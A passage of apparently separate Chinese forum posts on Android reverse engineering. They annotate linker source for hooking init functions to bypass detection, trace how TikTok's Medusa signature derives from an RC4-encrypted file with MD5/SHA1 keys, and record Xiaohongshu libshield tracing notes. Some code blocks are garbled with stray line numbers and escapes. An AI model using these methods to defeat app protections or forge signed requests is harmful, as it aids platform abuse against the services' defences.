代表的含义是“进程加载的so链”,其中包含了已经被加载的so 的信息。这里所返回的值也是si——进程加载的so链。
其中涉及的主要两步函数为find_library
和CallConstructor
下面会继续介绍。
find_library函数传入参数后也会进行进一步的函数调用,流程见注释
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n21 \\n22 \\n23 \\n24 \\n25 \\n26 \\n27 \\n28 \\n29 \\n30 \\n31 \\n32 \\n33 \\n34 \\n35 \\n36 \\n37 \\n38 \\n39 \\n40 \\n41 \\n42 \\n43 \\n44 \\n45 \\n46 \\n47 \\n48 \\n49 \\n50 \\n51 \\n52 \\n53 \\n54 \\n55 \\n56 \\n57 \\n58 \\n59 \\n60 \\n61 \\n62 \\n63 \\n64 \\n65 \\n | \\n\\n \\n \\nstatic soinfo *find_loaded_library( const char *name) \\n{ \\n \\n soinfo *si; \\n\\n \\n const char *bname; \\n\\n \\n // TODO: don\'t use basename only for determining libraries \\n\\n \\n // c33K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4G2k6r3g2Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3i4K6u0r3j5h3&6V1M7X3!0A6k6q4)9J5c8X3W2K6M7%4g2W2M7#2)9J5c8X3c8W2N6r3q4A6L8q4)9K6c8X3W2V1i4K6y4p5y4U0j5%4x3l9`.`. \\n\\n \\n bname = strrchr (name, \'/\' ); //分割so文件的名称 \\n\\n \\n bname = bname ? bname + 1 : name; \\n\\n \\n for (si = solist; si != NULL; si = si->next) { //递归查找是否存在so文件名称 \\n\\n \\n if (! strcmp (bname, si->name)) { \\n\\n \\n return si; \\n\\n \\n } \\n\\n \\n } \\n\\n \\n return NULL; \\n} \\n \\nstatic soinfo* find_library_internal( const char * name) { \\n\\n \\n if (name == NULL) { \\n\\n \\n return somain; //返回共享库 \\n\\n \\n } \\n\\n \\n soinfo* si = find_loaded_library(name); \\n\\n \\n if (si != NULL) { \\n\\n \\n if (si->flags & FLAG_LINKED) { // 前者检查是否有flag标志字段,后者检查是否被链接 \\n\\n \\n return si; //如果被链接就直接加载 \\n\\n \\n } \\n\\n \\n DL_ERR( \\"OOPS: recursive link to \\\\\\"%s\\\\\\"\\" , si->name); \\n\\n \\n //报错递归链接错误。 \\n\\n \\n //【递归链接:在动态库的加载过程中,如果同一个库被多次请求加载,可能会发生递归链接。通常这是不希望发生的情况,因为这会导致循环依赖或重复加载的错误。】 \\n\\n \\n return NULL; \\n\\n \\n } \\n\\n \\n TRACE( \\"[ \'%s\' has not been loaded yet. Locating...]\\" , name); \\n\\n \\n //发现未被加载后会通过load_library重新加载 \\n\\n \\n si = load_library(name); //load_library的函数在下面介绍 \\n\\n \\n if (si == NULL) { //如果再次加载仍为null 则返回null \\n\\n \\n return NULL; \\n\\n \\n } \\n\\n \\n // At this point we know that whatever is loaded @ base is a valid ELF \\n\\n \\n // shared library whose segments are properly mapped in. \\n\\n \\n //返回了基址,大小和名称 \\n\\n \\n TRACE( \\"[ init_library base=0x%08x sz=0x%08x name=\'%s\' ]\\" , \\n\\n \\n si->base, si->size, si->name); \\n\\n \\n //通过此函数 \\n\\n \\n if (!soinfo_link_image(si)) { //此函数实现了动态链接库中section信息解析。 \\n\\n \\n munmap( reinterpret_cast < void *>(si->base), si->size); \\n\\n \\n soinfo_free(si); \\n\\n \\n return NULL; \\n\\n \\n } \\n\\n \\n return si; \\n} \\n \\nstatic soinfo* find_library( const char * name) { \\n\\n \\n soinfo* si = find_library_internal(name); \\n\\n \\n if (si != NULL) { \\n\\n \\n si->ref_count++; \\n\\n \\n } \\n\\n \\n return si; \\n} | \\n
涉及知识点:elf文件格式,文件分区的加载
此函数根据上面的soinfo链接映像函数分析的section动态节区中的信息,获取共享库依赖的所有的so文件名,所有的依赖库初始化完成后,执行init_func、init_array方法初始化该动态库。
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n21 \\n22 \\n23 \\n24 \\n25 \\n26 \\n27 \\n28 \\n29 \\n30 \\n31 \\n32 \\n33 \\n34 \\n35 \\n36 \\n37 \\n38 \\n39 \\n40 \\n41 \\n | \\n\\n \\n \\nvoid soinfo::CallConstructors() { \\n\\n \\nif (constructors_called) { \\n\\n \\n return ; \\n} // We set constructors_called before actually calling the constructors, otherwise it doesn\'t // protect against recursive constructor calls. One simple example of constructor recursion // is the libc debug malloc, which is implemented in libc_malloc_debug_leak.so: // 1. The program depends on libc, so libc\'s constructor is called here. // 2. The libc constructor calls dlopen() to load libc_malloc_debug_leak.so. // 3. dlopen() calls the constructors on the newly created // soinfo for libc_malloc_debug_leak.so. // 4. The debug .so depends on libc, so CallConstructors is // called again with the libc soinfo. If it doesn\'t trigger the early- // out above, the libc constructor will be called again (recursively!). \\n \\nconstructors_called = true ; \\n\\n \\nif ((flags & FLAG_EXE) == 0 && preinit_array != NULL) { \\n\\n \\n // The GNU dynamic linker silently ignores these, but we warn the developer. \\n\\n \\n PRINT( \\"\\\\\\"%s\\\\\\": ignoring %d-entry DT_PREINIT_ARRAY in shared library!\\" , \\n\\n \\n name, preinit_array_count); \\n} \\n \\n //确保库已被初始化加载 \\n\\n \\nif (dynamic != NULL) { \\n\\n \\n for (Elf32_Dyn* d = dynamic; d->d_tag != DT_NULL; ++d) { \\n\\n \\n if (d->d_tag == DT_NEEDED) { \\n\\n \\n const char * library_name = strtab + d->d_un.d_val; \\n\\n \\n TRACE( \\"\\\\\\"%s\\\\\\": calling constructors in DT_NEEDED \\\\\\"%s\\\\\\"\\" , name, library_name); \\n\\n \\n find_loaded_library(library_name)->CallConstructors(); \\n\\n \\n } \\n\\n \\n } \\n} \\n \\nTRACE( \\"\\\\\\"%s\\\\\\": calling constructors\\" , name); \\n\\n \\n //最后进行初始化函数的执行 \\n// DT_INIT should be called before DT_INIT_ARRAY if both are present. \\n \\nCallFunction( \\"DT_INIT\\" , init_func); \\n\\n \\nCallArray( \\"DT_INIT_ARRAY\\" , init_array, init_array_count, false ); \\n} | \\n
这两个函数是so文件在被加载或者卸载时自动执行的函数,用于初始化的操作,其中init函数优先于init_array函数。作为so层加载很早的函数,可以通过实现hook他来绕过一些关键的检测点。
也正是因为加载过早且初始化后只加载一次,我们如果直接去hook是无法get到的,通过上面的流程我们知道了这两个函数是在call_constructors中进行加载,我们就可以通过逆向hook相关的native函数进行加载hook。通过在android_dlopen_ext
加载过程中进行hook操作。
最近在研究TT的六神算法,目前完成度大概在70%到80%之间吧。六神中的五个部分都相对简单,但Medusa这部分很复杂。其构成大致如下:
\\n在上述参数中,最复杂、最折腾人的就是那段加密的Protobuf数据,共有几十个字段,且大部分都是在进程刚启动时进行初始化。从分析来看,这部分数据应该是用于收集系统环境信息,解密后的内容如下:
本文的目标是分析16号字段中\'A3xcV-ObJSg3dWOrqH5y6AjA3\'字符串的来源。经观察,该字符串在进程启动时保持不变,但在运行几分钟后可能会发生变化。先来看下该固定字符串的生成方式。
逆推trace日志,发现该值存储在一个复杂的数据结构中, 而且这个复杂的数据结构是一个全局变量。
查找这个全局变量的交叉引用,发现可能在+0x475c0处进行了初始化。
所以我们将上述trace日志转为Frida代码来hook确认一下。
从错误日志中能看出,并没有在这里初始化。而且这个库被混淆的特别厉害,所以现在最好的办法就是上调试器下内存写断点。
为了调试方便,将Frida代码再转为GDB脚本,作用是从全局变量中读取出目标字符串。
再写一个脚本,当指定的库刚被加载时就立马断下。
在+0x47608处下断点,命中后打印字符串,根据输出日志在0x7e3ff24b58处下内存写入断点。
命中后再次打印,根据输出日志继续下内存写断点。
如此循环操作几次后,发现大概是在+0x127AC8附近进行初始化。
在+0x127AC8处hook,发现被大量调用,这说明现在是在一个通用函数中,并不是真正进行初始化的地方。
对于这种情况最好的办法就是通过栈回溯来找到关键点,但Frida自带的栈回溯功能有些鸡肋,所以还需要自己想想办法。通过静态观察,发现绝大部分函数都比较标准,在函数头有以下特征:
+0x541d8地址所在的函数位于+0x54170处,函数比较复杂,所以我们直接trace。使用Frida hook +0x54170函数,当命中时保存上下文环境并进行trace。
trace完了共一百多万行,先定位到上述的hook点+0x127AC8处,并根据如下代码反推。
最终成功定位到字符串赋值的起始位置,似乎是通过不同的索引查询同一张表得到的。因此,关键点主要集中在两个方面:第一,这张表是如何生成的;第二,这些索引是如何来的。
先来看0x7b9c84ae00这张表,它来自于堆上,大小0xab10。
因此,可以利用这个正则7b9c8[4|5][0-9a-zA-Z]{4}\\\\[
在trace日志中查找对表赋值的地方。经一番查找,发现了一处特征代码。
该代码循环读取0x7e46d92940常量数组中的值作为索引,对一个值取低3位,然后将值存储到表中。0x7e46d92940常量数组如下:
通过对常量数组和算法的特征,能确定这就是Inflate解压算法中用于构建哈夫曼树的部分,其源码如下:
现在既然已经确定了是解压算法,那么只需要找到算法的输入数据就行了。根据对源码的分析,tinf_getbits函数中引用了输入参数,函数逻辑如下:
num固定为3
d->source中存储的就是输入参数。
这段代码在trace日志中表现如下,对照源码来看,x25中的地址0x7b9a63e6ca就是原始输入参数。
0x7b9a63e6ca的起始地址是0x7b9a63e6c0,被赋值如下:
其中,前4个字节暂不清楚作用,从第4个字节开始就能看到zlib的魔法头0x78 0x1。解压就可以看到是一个json数据,其中包含了目标字符串。
OK,那么现在就应该去分析0x7b9a63e6c0中的数据从何而来。0x7b9a63e6c0的生成算法如下,一眼看出是rc4:
异或,模256,状态交换
初始化s盒
KSA
确定了RSA算法后,只需要找到输入数据和密钥即可。在RC4算法中KSA部分引用密钥,异或部分引用原始数据,因此可以得出0x7bfb738800中存储的是密钥,0x7f0d010600中存储的是原始数据。将原始数据和密钥从trace中读出来,用python来验证,确定是标准的rc4算法。
先来看0x7f0d010600中的原始数据,来自0x7b9c8d1b80,大小0x11c。
0x7b9c8d1b80来自0x7bb39d9400。
0x7bb39d9400来自7bb3daa000。
7bb3daa000来自系统调用,调用号0x3f。
不同的内核版本其调用号也不相同,在我的设备上0x3f调用号对应的系统调用是read。
很明显,这段输入数据应该是通过读取文件而来。read函数的第一个参数是文件句柄,在trace日志中的值为0x1ec,它来自于openat系统调用。
openat系统调用第二个参数是文件路径,这里就不继续分析了,直接hook打印参数,发现确实打开的是本地文件,该文件中的内容被rc4加密了。
再来分析0x7bfb738800中的密钥。0x7bfb738800中的值来自to hex string算法,原始hex数据为0x7b40e71840。
0x7b40e71840中的值来自0x7e7dec42e8,大小0x10字节。
0x7e7dec42e8来自0x7e7dec41f8。
0x7e7dec41f8来自MD5算法,从下面的常量和算法特征中能一眼看出。
在MD5算法中,会在原始数据的末尾先填充一个0x80,再填充0x0,直到补齐56字节,最后再填充8字节长度(位数)。所以根据这个特征,只要在trace日志中找到填充的地方,就能找到原始数据。
trace中填充的地方如下,因此能得到原始数据的长度为0x14(0xa0 / 8),原始数据存储在0x7e7dec4208中。
0x7e7dec4208来自0x7b9aadada0。
0x7b9aadada0来自0x7e7dec42e0。
0x7e7dec42e0来自0x7e7dec4220。
0x7e7dec4220来自sha1算法,从下面这些常量和右旋操作能看出。
同理,也可以根据sha1的填充逻辑来确定原始数据。sha1的填充逻辑与MD5基本相同,区别在于最后填充的8字节长度在MD5中是以小端形式存储,在sha1中是以大端。所以基于这个逻辑,可以得出原始数据为32765f696473,长度为6(0x30 / 8)。32765f696473是一个字符串,以大端格式读取为“sdi_v2”。
经过上述分析,可以确定目标字符串来源于一段 JSON 数据,而这段 JSON 数据来自于一个经过加密的本地文件。该文件采用RC4算法进行加密,其密钥生成过程如下:
\\n写这种算法分析的帖子真的是太无聊了,就先分析到这里吧,后续有机会再来谈下被加密的本地文件是怎么来的!!
\\n自我感觉TT的算法并不难,就是量太大了,所以我想问问有没有感兴趣的朋友来一起分析,欢迎联系。要具备一定的Android逆向经验,水平相当即可。另外,本项目纯粹用于技术交流,不涉及黑灰产,也不以盈利为目的。
\\n[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
\\nshield8.32.0版本
学习了如画佬的文章,关上教程复现的笔记
1.jstring NewStringUTF(JNIEnv *env, const char *bytes);
在汇编中第二个参数X1存储的是加密字符串,将cstring转成java字符串,从而拿到加密结果
mx1 ==> x1=RW@0x40461018 只需要弄清楚 x1存储的这个部分的值是怎么来的即可
[11:09:16 607]x1=RW@0x40461018, md5=992e3fffb0a5d31387be3ead9ecc9d5d, hex=58594141414141514141414145414141425441414141557a5557456530784731496244392f632b71434c4f6c4b476d547446612b6c473433344e66754651544b52427a4932796e654e6b4835332b724f594b7a384d693163782b324b5933515177595257574c4e372f7a31533031314f
size: 112
0000: 58 59 41 41 41 41 41 51 41 41 41 41 45 41 41 41 XYAAAAAQAAAAEAAA
0010: 42 54 41 41 41 41 55 7A 55 57 45 65 30 78 47 31 BTAAAAUzUWEe0xG1
0020: 49 62 44 39 2F 63 2B 71 43 4C 4F 6C 4B 47 6D 54 IbD9/c+qCLOlKGmT
0030: 74 46 61 2B 6C 47 34 33 34 4E 66 75 46 51 54 4B tFa+lG434NfuFQTK
0040: 52 42 7A 49 32 79 6E 65 4E 6B 48 35 33 2B 72 4F RBzI2yneNkH53+rO
0050: 59 4B 7A 38 4D 69 31 63 78 2B 32 4B 59 33 51 51 YKz8Mi1cx+2KY3QQ
0060: 77 59 52 57 57 4C 4E 37 2F 7A 31 53 30 31 31 4F wYRWWLN7/z1S011O
len(\\"XYAAAAAQAAAAEAAABTAAAAUzUWEe0xG1IbD9/c+qCLOlKGmTtFa+lG434NfuFQTKRBzI2yneNkH53+rOYKz8Mi1cx+2KY3QQwYRWWLN7/z1S011O\\") = 112
len(\\"XYAAAAAQAAAAEAAABTAAAAUzUWEe0xG1IbD9/c+qCLOlKGmTtFa+lG434NfuFQTKRBzI2yneNkH53+rOYKz8Mi1cx+2KY3QQwYRWWLN7/z1S011Oc8PZAcZStVDuw6DCul1soQ\\") == 134
只需要研究 \\"XY\\" + 后132字节 将字符串转成十六进制的数组 0x57557a5541414141
XY AAAAAQAA AAEAAABT AAAAUzUW Ee0xG1Ib D9/c+qCL OlKGmTtFa+lG434NfuFQTKRBzI2yneNkH53+rOYKz8Mi1cx+2KY3QQwYRWWLN7/z1S011Oc8PZAcZStVDuw6DCul1soQ\\"
5859 4141414141514141 4141454141414254 41414141557a5557 4565307847314962 44 39 2f 63 2b 71 43 4c 4f 6c 4b 47 6d 54 74 46 61 2b 6c 47 34 33 34 4e 66 75 46 51 54 4b 52 42 7a 49 32 79 6e 65 4e 6b 48 35 33 2b 72 4f 59 4b 7a 38 4d 69 31 63 78 2b 32 4b 59 33 51 51 77 59 52 57 57 4c 4e 37 2f 7a 31 53 30 31 31 4f 63 38 50 5a 41 63 5a 53 74 56 44 75 77 36 44 43 75 6c 31 73 6f 51
[11:08:54 278] Memory WRITE at 0x4046101a, data size = 8, data value = 0x4141514141414141, PC=RX@0x4028c1f8[libc.so]0x1c1f8, LR=RX@0x4009f0f0[libshield.so]0x9f0f0
PC指向程序执行的位置 LR指向函数调用的位置(PC指向当前执行到标准库的逻辑, LR指向在shield.so文件中逻辑) 跳转到0x9f0f0找到上方的memcpy
void *memcpy(void *dest, const void *src, size_t n); dest:目标地址 src:源地址 n:要复制的字节数 查看mX1 数据的来源
注:直接打断点找不到memcpy操作的内存地址,查看trace日志发现有三处经过了0x9f0f0的操作
[09:33:29 304][libshield.so 0x09eff0] [4100148b] 0x4009eff0: \\"add x1, x2, x20\\" x2=0x40453048 x20=0x0 => x1=0x40453048
[09:33:29 328][libshield.so 0x09eff0] [4100148b] 0x4009eff0: \\"add x1, x2, x20\\" x2=0x404530a8 x20=0x0 => x1=0x404530a8
[09:33:31 978][libshield.so 0x09eff0] [4100148b] 0x4009eff0: \\"add x1, x2, x20\\" x2=0x4059a018 x20=0x0 => x1=0x4059a018
控制台使用c命令操作跳到第三次断点成功打印mx1=0x4059a018 此处记录的也是完整的shield值
2.继续监视0x4059a018处的内容 截取一段日志
[10:29:23 862] Memory WRITE at 0x4059a01a, data size = 1, data value = 0x41, PC=RX@0x4004bf64[libshield.so]0x4bf64, LR=RX@0x40049b98[libshield.so]0x49b98
[10:29:23 862] Memory WRITE at 0x4059a01c, data size = 1, data value = 0x41, PC=RX@0x4004bf84[libshield.so]0x4bf84, LR=RX@0x40049b98[libshield.so]0x49b98
[10:29:23 862] Memory WRITE at 0x4059a01f, data size = 1, data value = 0x41, PC=RX@0x4004bf84[libshield.so]0x4bf84, LR=RX@0x40049b98[libshield.so]0x49b98
[10:29:23 862] Memory WRITE at 0x4059a01d, data size = 1, data value = 0x51, PC=RX@0x4004bf84[libshield.so]0x4bf84, LR=RX@0x40049b98[libshield.so]0x49b98
[10:29:23 862] Memory WRITE at 0x4059a01e, data size = 1, data value = 0x41, PC=RX@0x4004bf84[libshield.so]0x4bf84, LR=RX@0x40049b98[libshield.so]0x49b98
[10:29:23 862] Memory WRITE at 0x4059a020, data size = 1, data value = 0x41, PC=RX@0x4004bf84[libshield.so]0x4bf84, LR=RX@0x40049b98[libshield.so]0x49b98
[10:29:23 862] Memory WRITE at 0x4059a023, data size = 1, data value = 0x41, PC=RX@0x4004bf84[libshield.so]0x4bf84, LR=RX@0x40049b98[libshield.so]0x49b98
[10:29:23 863] Memory WRITE at 0x4059a021, data size = 1, data value = 0x41, PC=RX@0x4004bf84[libshield.so]0x4bf84, LR=RX@0x40049b98[libshield.so]0x49b98
分析:PC指向当前执行的代码(处于libshield.so中) (LR跳转回调用的地方也处于libshield.so中),这两处都要在IDA中查看一下是啥情况,PC处于函数sub_4BF44中的一段逻辑,0x49b98处于sub_4BF44执行完的下一段指令
说明shield每一个字母的生成与sub_4BF44中的细节有关系, 通过观察细节或者使用gpt分析sub_4BF44发现这是将每3个字节的二进制数据编码为4个Base64字符,是进行了base64操作。
于是尝试从sub_4BF44中查找base64编码前的源数据,把这个源数据的值找到继续分析即可。
v5 = *(unsigned __int8 *)(a2 + v3);
v6 = *(unsigned __int8 *)(a2 + v3 + 1);
v7 = *(unsigned __int8 *)(a2 + v3 + 2); 由此发现a2是base64操作的输入参数,且a2是__int64 __fastcall sub_4BF44(_BYTE *a1, __int64 a2, int a3)第二个参数,猜测就是shield编码前的值,hook验证一下
从地址 a2 + v3 读取一个字节,并将其存储在变量 v5 中。
从地址 a2 + v3 + 1 读取一个字节,并将其存储在变量 v6 中。
从地址 a2 + v3 + 2 读取一个字节,并将其存储在变量 v7 中。
debugger.addBreakPoint(module.base+0x49B94); 查看,依旧要通过trace去判断是否这个断点被命中。 hook如下,使用cyberchef去验证
[10:49:26 396]x1=RW@0x40456098, md5=af80e1f3f4b54f45c169046d847b9b98, hex=00000001000000010000005300000053351611ed311b521b0fdfdcfaa08b3a5286993b456be946e37e0d7ee1504ca441cc8db29de3641f9dfeace60acfc322d5cc7ed8a637410c1845658b37bff3d52d35d4e73c3d901c652b550eec3a0c2ba5d6ca1000000000000000000000000000
size: 112 112-13=99字节的数据
0000: 00 00 00 01 00 00 00 01 00 00 00 53 00 00 00 53 ...........S...S
0010: 35 16 11 ED 31 1B 52 1B 0F DF DC FA A0 8B 3A 52 5...1.R.......:R
0020: 86 99 3B 45 6B E9 46 E3 7E 0D 7E E1 50 4C A4 41 ..;Ek.F..PL.A
0030: CC 8D B2 9D E3 64 1F 9D FE AC E6 0A CF C3 22 D5 .....d........\\".
0040: CC 7E D8 A6 37 41 0C 18 45 65 8B 37 BF F3 D5 2D .~..7A..Ee.7...-
0050: 35 D4 E7 3C 3D 90 1C 65 2B 55 0E EC 3A 0C 2B A5 5..<=..e+U..:.+.
0060: D6 CA 10 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-------------------------------------------------------------------------- 注意使用fromhexdump而不是fromhex
转换为 AAAAAQAAAAEAAABTAAAAUzUWEe0xG1IbD9/c+qCLOlKGmTtFa+lG434NfuFQTKRBzI2yneNkH53+rOYKz8Mi1cx+2KY3QQwYRWWLN7/z1S011Oc8PZAcZStVDuw6DCul1soQ(截止到这,拼接上XY即可)AAAAAAAAAAAAAAAAAA==
3.找到了shield来源数据 继续分析每一个值 99字节 mx1=0x40456098,继续分析这里的每一个字节的生成,使用trace
0000: 00 00 00 01 00 00 00 01 00 00 00 53 00 00 00 53 ...........S...S
0010: 35 16 11 ED 31 1B 52 1B 0F DF DC FA A0 8B 3A 52 5...1.R.......:R
0020: 86 99 3B 45 6B E9 46 E3 7E 0D 7E E1 50 4C A4 41 ..;Ek.F..PL.A
0030: CC 8D B2 9D E3 64 1F 9D FE AC E6 0A CF C3 22 D5 .....d........\\".
0040: CC 7E D8 A6 37 41 0C 18 45 65 8B 37 BF F3 D5 2D .~..7A..Ee.7...-
0050: 35 D4 E7 3C 3D 90 1C 65 2B 55 0E EC 3A 0C 2B A5 5..<=..e+U..:.+.
0060: D6 CA 10
trace(0x40456098, 0x40456098+134) IDA查看0x9cdb4的情况
[11:18:10 339] Memory WRITE at 0x404560a0, data size = 8, data value = 0x5300000053000000, PC=RX@0x4028c148[libc.so]0x1c148, LR=RX@0x4009cdb4[libshield.so]0x9cdb4
[11:18:10 339] Memory WRITE at 0x404560a8, data size = 8, data value = 0x1b521b31ed111635, PC=RX@0x4028c148[libc.so]0x1c148, LR=RX@0x4009cdb4[libshield.so]0x9cdb4
[11:18:10 339] Memory WRITE at 0x404560b0, data size = 8, data value = 0x523a8ba0fadcdf0f, PC=RX@0x4028c148[libc.so]0x1c148, LR=RX@0x4009cdb4[libshield.so]0x9cdb4
0x9cdb4 => result = memcpy(v10, v9, a3); 说明这里的字符串也是被memcpy复制了一次,继续寻找源头,在下方memcpy出打断点,查看源数据 (打上断点后同样c跳转三次才行)
.text&ARM.extab:000000000009CDA8 MOV X0, X3 ; dest
.text&ARM.extab:000000000009CDAC MOV X2, X19 ; n
.text&ARM.extab:000000000009CDB0 BL memcpy
[11:38:32 172]x1=RW@0x40593000, md5=af80e1f3f4b54f45c169046d847b9b98, hex=00000001000000010000005300000053351611ed311b521b0fdfdcfaa08b3a5286993b456be946e37e0d7ee1504ca441cc8db29de3641f9dfeace60acfc322d5cc7ed8a637410c1845658b37bff3d52d35d4e73c3d901c652b550eec3a0c2ba5d6ca1000000000000000000000000000
size: 112
0000: 00 00 00 01 00 00 00 01 00 00 00 53 00 00 00 53 ...........S...S
0010: 35 16 11 ED 31 1B 52 1B 0F DF DC FA A0 8B 3A 52 5...1.R.......:R
0020: 86 99 3B 45 6B E9 46 E3 7E 0D 7E E1 50 4C A4 41 ..;Ek.F..PL.A
0030: CC 8D B2 9D E3 64 1F 9D FE AC E6 0A CF C3 22 D5 .....d........\\".
0040: CC 7E D8 A6 37 41 0C 18 45 65 8B 37 BF F3 D5 2D .~..7A..Ee.7...-
0050: 35 D4 E7 3C 3D 90 1C 65 2B 55 0E EC 3A 0C 2B A5 5..<=..e+U..:.+.
0060: D6 CA 10 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
4.分析这个新的base64源头数据 trace(0x40593000,0x40593000+134) 看看每一部分如何生成的
[11:42:15 779] Memory WRITE at 0x40593000, data size = 1, data value = 0x00, PC=RX@0x4004972c[libshield.so]0x4972c, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593001, data size = 1, data value = 0x00, PC=RX@0x40049734[libshield.so]0x49734, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593002, data size = 1, data value = 0x00, PC=RX@0x40049740[libshield.so]0x49740, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593003, data size = 1, data value = 0x01, PC=RX@0x40049748[libshield.so]0x49748, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593004, data size = 1, data value = 0x00, PC=RX@0x40049750[libshield.so]0x49750, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593005, data size = 1, data value = 0x00, PC=RX@0x40049758[libshield.so]0x49758, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593006, data size = 1, data value = 0x00, PC=RX@0x40049764[libshield.so]0x49764, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593007, data size = 1, data value = 0x01, PC=RX@0x4004976c[libshield.so]0x4976c, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593008, data size = 1, data value = 0x00, PC=RX@0x40049774[libshield.so]0x49774, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593009, data size = 1, data value = 0x00, PC=RX@0x4004977c[libshield.so]0x4977c, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x4059300a, data size = 1, data value = 0x00, PC=RX@0x40049788[libshield.so]0x49788, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x4059300b, data size = 1, data value = 0x53, PC=RX@0x40049790[libshield.so]0x49790, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x4059300c, data size = 1, data value = 0x00, PC=RX@0x40049798[libshield.so]0x49798, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x4059300d, data size = 1, data value = 0x00, PC=RX@0x400497a0[libshield.so]0x497a0, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x4059300e, data size = 1, data value = 0x00, PC=RX@0x400497ac[libshield.so]0x497ac, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x4059300f, data size = 1, data value = 0x53, PC=RX@0x400497b4[libshield.so]0x497b4, LR=RX@0x400496e4[libshield.so]0x496e4
[11:42:15 779] Memory WRITE at 0x40593010, data size = 8, data value = 0x1b521b31ed111635, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 779] Memory WRITE at 0x40593018, data size = 8, data value = 0x523a8ba0fadcdf0f, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 779] Memory WRITE at 0x40593020, data size = 8, data value = 0xe346e96b453b9986, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 779] Memory WRITE at 0x40593028, data size = 8, data value = 0x41a44c50e17e0d7e, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593030, data size = 8, data value = 0x9d1f64e39db28dcc, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593038, data size = 8, data value = 0xd522c3cf0ae6acfe, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593040, data size = 8, data value = 0x180c4137a6d87ecc, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593048, data size = 8, data value = 0x2dd5f3bf378b6545, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593050, data size = 8, data value = 0x651c903d3ce7d435, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593058, data size = 8, data value = 0xa52b0c3aec0e552b, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x40593053, data size = 8, data value = 0x0e552b651c903d3c, PC=RX@0x4028c1a4[libc.so]0x1c1a4, LR=RX@0x400497dc[libshield.so]0x497dc
[11:42:15 780] Memory WRITE at 0x4059305b, data size = 8, data value = 0x10cad6a52b0c3aec, PC=RX@0x4028c1a4[libc.so]0x1c1a4, LR=RX@0x400497dc[libshield.so]0x497dc
根据日志可以发现前16位和99-16=83位字节生成的地方不一样,需要通过IDA看看细节,到底分别用了什么方法生成的。前16条数据,PC执行的指令和最后LR跳转回的指令均指向libshield.so中的sub_49650
通过PC可以看到详细的逻辑 基于v4的内容 v4 = *a1; ==> void __usercall sub_49650(__int64 *a1@<X0>, __int64 a2@<X8>) 由此看出a1参数通过X0传递
*v10 = *(_BYTE *)(v4 + 11);
v10[1] = *(_WORD )(v4 + 10);
v10[2] = BYTE1((_DWORD *)(v4 + 8));
v10[3] = *(_DWORD *)(v4 + 8);
v10[4] = *(_BYTE *)(v4 + 15);
v10[5] = *(_WORD )(v4 + 14);
v10[6] = BYTE1((_DWORD *)(v4 + 12));
v10[7] = *(_DWORD *)(v4 + 12);
v10[8] = *(_BYTE *)(v4 + 19);
v10[9] = *(_WORD )(v4 + 18);
v10[10] = BYTE1((_DWORD *)(v4 + 16));
v10[11] = *(_DWORD *)(v4 + 16);
v10[12] = *(_BYTE *)(v4 + 23);
v10[13] = *(_WORD )(v4 + 22);
v10[14] = BYTE1((_DWORD *)(v4 + 20));
v10[15] = *(_DWORD *)(v4 + 20);
故hook sub_49650的X0探索前十六字节的值
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
